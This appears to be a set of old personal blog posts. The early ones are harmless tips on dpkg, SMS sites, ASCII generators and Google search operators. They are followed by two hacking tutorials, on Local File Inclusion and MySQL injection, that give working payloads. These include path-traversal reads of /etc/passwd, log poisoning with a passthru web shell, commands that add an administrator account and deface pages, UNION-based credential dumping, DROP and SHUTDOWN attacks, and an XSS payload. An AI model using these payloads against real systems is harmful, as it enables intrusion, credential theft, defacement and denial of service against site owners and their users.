Installing .deb package in ubuntu with dpkg

You can use dpkg, a command line tool to manage the packages, in order to install .deb packages in your ubuntu linux distro.

dpkg is a tool to install, build, remove and manage Debian packages. The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way.

In order to install the .deb package, you need to use -i parameter with the dpkg command as below:

cd /home/samar/Downloads/

sudo dpkg -i skype-ubuntu-intrepid_2.1.0.81-1_amd64.deb

Also, you can install the multiple packages directly by issuing the command as below:

cd /home/samar/Downloads/

sudo dpkg -i *.deb

Hope this helps you. :)

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Send Free SMS all over the World with Mjoy.com

Searching for the online portal that you can use to send SMS to anyone and anywhere in the world? I found the solution for it.

Mjoy.com from Venista Group offers a free service to send SMS all over the world. The best part of this service is it allows you to send unlimited number of characters in your SMS.

When you sign up, you'll have to enter the valid phone number where you will be sent the link for completing the registration. After completing the registration, you'll be able to send SMS to whoever and wherever you want.

The only thing that might not be desirable for many is the small ad at the end but the service is worth using.

Go to Mjoy.com

Please if you try(or have already tried) the service, please comment on this post so that it will be useful for others.

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Online Cool ASCII Generator from Network-Science.De

While googling for the online ascii generator tools, I came across a very useful site with number of fonts and other options to use in order to create cool ASCII of our texts.

__                .__     
_/  |_  ____   ____ |  |__  
\   __\/ __ \_/ ___\|  |  \ 
 |  | \  ___/\  \___|   Y  \
 |__|  \___  >\___  >___|  /
           \/     \/     \/ 
                            
   _________   __ __  ____  
  / ___\__  \ |  |  \/    \ 
 / /_/  > __ \|  |  /   |  \
 \___  (____  /____/|___|  /
/_____/     \/           \/

Online ASCII Generator @ Network-Science.De

EDIT:
I found another website www.asciify.org for the same purpose.

Have fun. :)

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Get Matrix like Text Effect for Website Headers with matrixtext.com

If you want the image with matrix like text effect for your blog or any other site/profile, you can now get it online.

Just type the text you want to appear in the image and choose from the various available options and on one single click, you will get image with the matrix text effect containing text you inputted.

What the official site says:


Matrix Text for websites and myspace. Create the matrix text effect or any text effect using the real matrix text characters. Generate free matrix text for MySpace or any other website and enchance your MySpace matrix layout. Our matrix text maker will provide matrix text HTML for free and it's fun to use. Our matrix text generator codes are used for everything. We take pride in our matrix text graphics! Say Happy Birthday with a Matrix Text! Quickly create personalized matrix text pictures to use anywhere.




Visit the site

They say they give HTML but you can directly save the image. Choose among the animation speed, color, font, etc. and get the Matrix Text effect as you need. Have fun. :)

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Searching flash games using Google Search trick

Another google trick, this can be used to search any flash games(swf files) you want to play.

So you just played a flash game which was really cool and you want to download it in your computer? You can use google's search trick to search for any flash game you want.
This trick relies on the way directory listing is done in the webserver's directories. Whenever the default index page or directory listing denying features are not implemented in the web server, we can view the files in the directory. I'm not going into the further detail of this, instead I'm going to show you how to perform the google search for finding whatever flash game you want.

I need the game called gravity which is very fun to play. Now I do the search as below to find it:

"index of /" "last modified" "parent directory" swf gravity

You can replace the gravity with the name of the flash game you want to search and download.

Have fun with this google trick. :)

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Searching PDFs and DOCs using Google Search

Generally, we use Google search in order to find any information we need. Google is widely used by many of us to find information relevant for us. Sometimes, we may need to find PDF (Portable Document Format) or DOC files and even the PPT (Powerpoint Presentations). This can be easily done using google search trick.

In order to find any type of file in google, we can use special google keyword filetype to specify the type of file we want to search. Put the colon : after the filetype and specify the type of file you want. For example, if you are searching for PDF or DOCs, do the following:

filetype:pdf

filetype:doc

For example, you are searching for the PDFs related to nepali morphological analyzer, you'll do:

nepali morphological analyzer filetype:pdf

You can follow the same process for any other filetypes. Have fun with this google trick. :)

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Local File Inclusion [LFI] tutorial for beginners

Before, I have written an article on remote file inclusion (RFI) and this time, I am writing the article of LFI. So what is LFI? Its similar to RFI except that we are gonna include the file within the server rather than from another server. Sometimes, what happens is, we have allow_url_include setting is set to off on the webserver (On is by default) or there's somekind of filtration to check for things like http:// or www (though we can bypass these things). So in that condition, we may have to use LFI to own the server.

So lets again take example of vulnerable script:

<?php
    if (IsSet($_GET['page']))
        include($_GET['page']);
?>

Here we can see that the script doesn't check for which file to be included and hence, we are free to include any file by changing the 'page' GET variable value.

    Eg: www.victim.com/index.php?page=profile.php
   

Lets put a quote at the end of URL and we see a pretty nice error like this:

Warning: include(profile.php) [function.include]: failed to open stream: No such file or directory in C:\wamp\www\test.php on line 2

Warning: include() [function.include]: Failed opening 'profile.php' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\test.php on line 3

So the script can't find the file profile.php' and hence errors. Now, lets try to include sensitive files that might be present in the webserver.

    Eg: www.victim.com/index.php?page=../../boot.ini    //boot.ini file in windoze
        http://localhost/test.php?page=../../windows/system32/drivers/etc/hosts        //hosts info file
        http://localhost/test.php?page=../../../../etc/passwd            //on Linux
        http://localhost/test.php?page=../../windows/repair/sam            //backup sam file
       
        etc. and etc.

   
    Two ../ shifts the current directory to two level down like cd../.. in command prompt. You may watch the error to find how many such dots you should use. But if you don't know how many such ../ you should use or don't want to waste time on finding how many steps you require, you may put enough such trails like about 10 to view these files like boot.ini or /etc/passwd as after reaching to the root folder like C:\, they can't go down anymore.

So you now know how to include sensitive files on the webserver. Now what if we need shell on the server.
Now, we throw some error to the logs of webserver that contain PHP code:
    <?php passthru($_GET['cmd']); ?> or something similar to this. There are functions like system(), shell_exec(), exec(), etc. offered by PHP for executing system level commands.

The problem on injecting malicious code to log files is that we either need to inject through telnet or using codes. I have seen many sites with the perl codes for the purpose. Search it.
What we do is inject the code to log files of apache such as access.log or apache_error.log or php_error.log or on any other log file. Then we include the same log file in the vulnerable script and then execute system commands.
    In my wampserver, I have:

        http://localhost/test.php?page=../logs/access.log   //for the log with site access infos.

There are various places you might want to watch and I'll be listing them at the end of tutorial.
Here I am gonna use telnet to throw the PHP code as error to the access.log file.

    telnet localhost 80
    GET /<? passthru($_GET['cmd']); ?> HTTP/1.1
   

Now this is gonna get saved in the file access.log in my webserver and now I include it in the vulnerable script:

    So we do:    http://localhost/test.php?page=../logs/access.log&cmd=dir    //lists the directory
    Now you may do any miserable works by writing cmd=any_system_level_commands like:
        ls -lia
        echo "HaCKeD BY sam207">index.*
        net user sam207 mypass /add
        net localgroup administrator sam207 /add
       
       

and any other commands you like.
This describes pretty much on owning the server. Now something extras I thought to include here:
    Some developers think that they can ensure the inclusion of only valid php file by doing something like below:

        <?php
            if (IsSet($_GET['page']))
                include($_GET['page'].".php");
        ?>

        // so looks like that it will include only the php files by ensuring the .php extension at the end. But if we add question mark (?) or nullbyte () by doing http://localhost/test.php?page=access.log, it would become something like:
                include("access.log.php");    //now the scripts leaves anything behind the nullbyte and the file access.log is successfully included. And you can carry your usual pwnage.
        Note that don't try to inject PHP code by sending malicious HTTP requests through your browser. It will be encoded and you won't be able to exploit.

Now finally the places you might want to watch on lfi:
    etc/passwd
    etc/group
    etc/security/passwd
    etc/security/group
    apache/logs/access.log
    apache/logs/error.log
    var/log/access.log
    etc.
You can find many other places to look after during your lfi by searching on the internet. Be creative and use your brain.
Hope you like it. Please comment it.
With Regards~
sam207

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Complete MySQL Injection Tutorial for Beginners [SQLi tutorial]

This is the SQL injection tutorial written around two years ago when I was myself learning all sorts of hacking methodologies. I hope the beginners will have benefit from this sql injection tutorial. Enjoy reading this long article.

COMPLETE MYSQL INJECTION TUTORIAL FOR NEWBIES

AUTHOR:SAM207
EMAIL:samar_acharya[at]hotmail.com
COPYRIGHT: THIS TUTORIAL CAN BE COPIED AND SHARED ANYWHERE U WANT BUT U SHOULD GIVE ME THE FULL CREDITS TO ME. AND YEAH U SHOULD NOT MODIFY THE CONTENTS IN IT. THAT'S ALL..

DISCLAIMER:THIS TUTORIAL IS SOLELY FOR EDUCATIONAL PURPOSE. U WILL HAVE TO TAKE THE FULL RESPONSIBILITY FOR ANY ACTION U DO AFTER READING THIS TUTORIAL.

##############################################
TABLE OF CONTENT:
 #INTRO
 #WHAT IS DATABASE?
 #WHAT IS SQL INJECTION?
 #BYPASSING LOGINS
 #ACCESSING SECRET DATA
    #Checking for vulnerability
    #Find the number of columns
    #Addressing vulnerable part
    #Finding MySQL version
    #MySQL 5 or above injection
    #MySQL 4 injection
 #MODIFYING SITE CONTENT
 #SHUTTING DOWN THE MySQL SERVER
 #LOADFILE
 #MySQL ROOT
 #MAJOR MySQL COMMANDS
 #SOME SQL INJECTION TOOLS
 #FINALIZING THE INJECTION TUTORIAL
 #GREETZ AND SHOUTZ
 #THE END

##############################################
INTRO!!
Greetz to all, I m sam207. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language(I m from Nepal). Now lets begin our walkthrough of SQL injection.

##############################################
WHAT IS DATABASE?
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.

##############################################
WHAT IS SQL INJECTION?
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.
    In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..

##############################################
BYPASSING LOGINS
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??
    Let's see an example, where the username admin with the password sam207 can login to the site. Suppose, the SQL query for this is carried out as below:
    SELECT USER from database WHERE username='admin' AND password='sam207'
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.
In this example, the attacker can enter the following user data in the login form:
username:a or 1=1--
password:blank
So, this would make our query as:
    SELECT USER from database WHERE username='a' or 1=1-- AND password=''
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.
So our above query becomes:
    SELECT USER from database WHERE username='a' or 1=1
   
Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.
Few such combinations are:
username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1
and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..
That's all about bypassing logins.

##############################################
ACCESSING SECRET DATA
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

##############################################
Sub-section 1:
Checking for vulnerability
Suppose, u got a site:
    www.site.com/article.php?id=5
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
    www.site.com/article.php?id=5'
Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5'' In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.
Also just using ' may not be the sure test; so you may try different things like:
    www.site.com/article.php?id=5 union select 1--
If you get error with this, you again come to know that its vulnerable... Just try different things..

##############################################
Sub-section 2:
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
    www.site.com/article.php?id=5 order by 1/*
    //this didn't give error.
    Now, I do increase it to 2.
    www.site.com/article.php?id=5 order by 2/*
    //still no error
    So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
    www.site.com/article.php?id=5 order by 3/*
    //this gave me error.
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

##############################################
Sub-section 3:
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
    www.site.com/article.php?id=5 UNION ALL SELECT null/*
    This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..
    So for our injection, it becomes:
    www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
    www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
    In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.
 Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
    www.site.com/article.php?id=5 UNION ALL SELECT sam207,null/*
    or
    www.site.com/article.php?id=5 UNION ALL SELECT null,sam207/*

If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

##############################################
Sub-section 4:
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
    www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
    or
    www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
    www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:
    www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*
    www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*

##############################################
Sub-section 5:
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
    www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
    www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
    www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.
Alternatively to find the column in the specific table, u can do something like below:
    www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'
    This would display the columns present in the table tbluser. But this may not work always.
Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)
What I do is:
    www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
And this gives me the username and password like below:
    admin:9F14974D57DE204E37C11AEAC3EE4940
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(www.openwalls.org), Cain & Able(www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.
Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

##############################################
Sub-section 6:
MySQL version 4 injection:
Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...
Anyway, lets go for MySQL version 4 injection...
For example, u would do as below:
    www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*
Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.
    www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*
The page loaded normally. Now again u have to guess the column names present in the tbluser table.
I do something like below:
    www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
    //this gave me error so there is no column with this name.
    www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
    //It loaded the page normally along with the username from the table.
    www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
    //it errored so again the column pass doesnot exist in the table tbluser.
    www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
    //the page loaded normally with password hash(or plaintext password).
Now u may do this:
    www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
This gave me:
    admin:9F14974D57DE204E37C11AEAC3EE4940
On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.
Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

##############################################
MODIFYING SITE CONTENT:
Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.
Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed but good news for PHP/MySQL developer, stacked queries are not supported in PHP when using MySQL but can be used with MsSQL server.
First let me list these commands:
UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:
    www.site.com/article.php?id=5
    Lets say the query is:
    SELECT title,data,author FROM article WHERE id=5
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.
So we would do:
    www.site.com/article.php?id=5 UPDATE article SET title='Hacked By sam207'/*
    or, u could alternatively do:
    www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY SAM207',data='Ur site has zero    
    security',author='sam207'/*

By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:
    www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*
   
DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:
    www.site.com/article.php?id=5 DELETE title,data,author FROM article/*
    or if u want to delete these fields from the id=5, u will do:
    www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*
   
DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:
    www.site.com/article.php?id=5 DROP TABLE article/*
    This would delete table article & all its contents.

Finally, I want to say little about ;
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.
This ; can be kept at the end of our first query so that we can start new query after it.

##############################################
SHUTTING DOWN MySQL SERVER:
This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;
So, you would craft a query which would execute the above command...
For example, in my case, I would do the following:
    www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

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LOADFILE:
MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..
Do something like below:
    www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

But sometimes, you will have to hex the part & do something like below:
    www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)
    where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..

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MySQL ROOT:
If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..
For this, you will do:
    www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But www.insidepro.com has one to do it..

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MAJOR MySQL COMMANDS:
Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..
All the commands here are copy pasted from the post at www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

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FINALIZING THE INJECTION TUTORIAL:
I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..
    www.site.com/article.php?id=5 UNION ALL SELECT <script>alert("XSS via SQL injection");</script>,2/*
Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..
In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...

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GREETZ & SHOUTZ:
Greetz to all at darkmindz. Load of shoutz to pSyChO mOnkee and sToRm(U two guys rock) and all at GNY. Also greet to t0mmy9(Thanks for always helping me learn things) at www.thisislegal.com
And hi to all my classmates bigyan musa, bhakunde sameer, gainda sandeep, joe haatti, dipesh bhedo, eman bhainsi, milan biralo, nikesh gandeula(Pheretima posthuma) & all my other classmates. Widout u guys, I m having boring days in my biology class. Hope to meet u all guys. And I wish bright future of u guys. Become successful doctors, engineers or whatever you wish to be..

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THE END: With this, my tutorial which was mainly intended for newbies, ends here. I hope u liked my tutorial. I will hopefully write new tutorials in newbie concept after I learn myself all these things. Any comments can be dropped at samar_acharya[at]hotmail.com
And finally, read more and more, ask more and more and thats the best way to learn the things.
Keep Hacking & Enjoy It.

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REGARDS~
sam207
30 August, 2008


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